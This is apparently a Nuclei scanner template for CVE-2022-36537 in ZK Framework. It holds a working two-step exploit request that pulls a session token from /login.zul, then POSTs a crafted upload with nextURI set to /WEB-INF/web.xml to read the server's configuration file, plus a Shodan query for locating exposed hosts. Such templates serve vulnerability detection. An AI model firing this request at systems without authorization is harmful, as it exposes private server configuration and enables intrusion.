id: CVE-2022-36537

info:
  name: ZK Framework - Information Disclosure
  author: theamanrawat
  severity: high
  description: |
    ZK Framework 9.6.1, 9.6.0.1, 9.5.1.3, 9.0.1.2 and 8.6.4.1 is susceptible to information disclosure. An attacker can access sensitive information via a crafted POST request to the component AuUploader and thereby possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://github.com/Malwareman007/CVE-2022-36537/
    - https://tracker.zkoss.org/browse/ZK-5150
    - https://nvd.nist.gov/vuln/detail/CVE-2022-36537
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-36537
    cwe-id: CWE-200
    cpe: cpe:2.3:a:zkoss:zk_framework:*:*:*:*:*:*:*:*
    epss-score: 0.91875
  metadata:
    max-request: 2
    shodan-query: http.title:"Server backup manager"
    verified: true
  tags: cve,cve2022,zk-framework,exposure,unauth,kev

http:
  - raw:
      - |
        GET /login.zul HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /zkau/upload?uuid=101010&dtid={{dtid}}&sid=0&maxsize=-1 HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCs6yB0zvpfSBbYEp
        Content-Length: 154

        ------WebKitFormBoundaryCs6yB0zvpfSBbYEp
        Content-Disposition: form-data; name="nextURI"

        /WEB-INF/web.xml
        ------WebKitFormBoundaryCs6yB0zvpfSBbYEp--

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "<display-name>.*</display-name>"
          - "<welcome-file-list>((.|\n)*)welcome-file-list>"
          - "xml version"
          - "web-app"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: dtid
        group: 1
        regex:
          - "dt:'(.*?)',cu:"
        internal: true

# Enhanced by md on 2023/02/03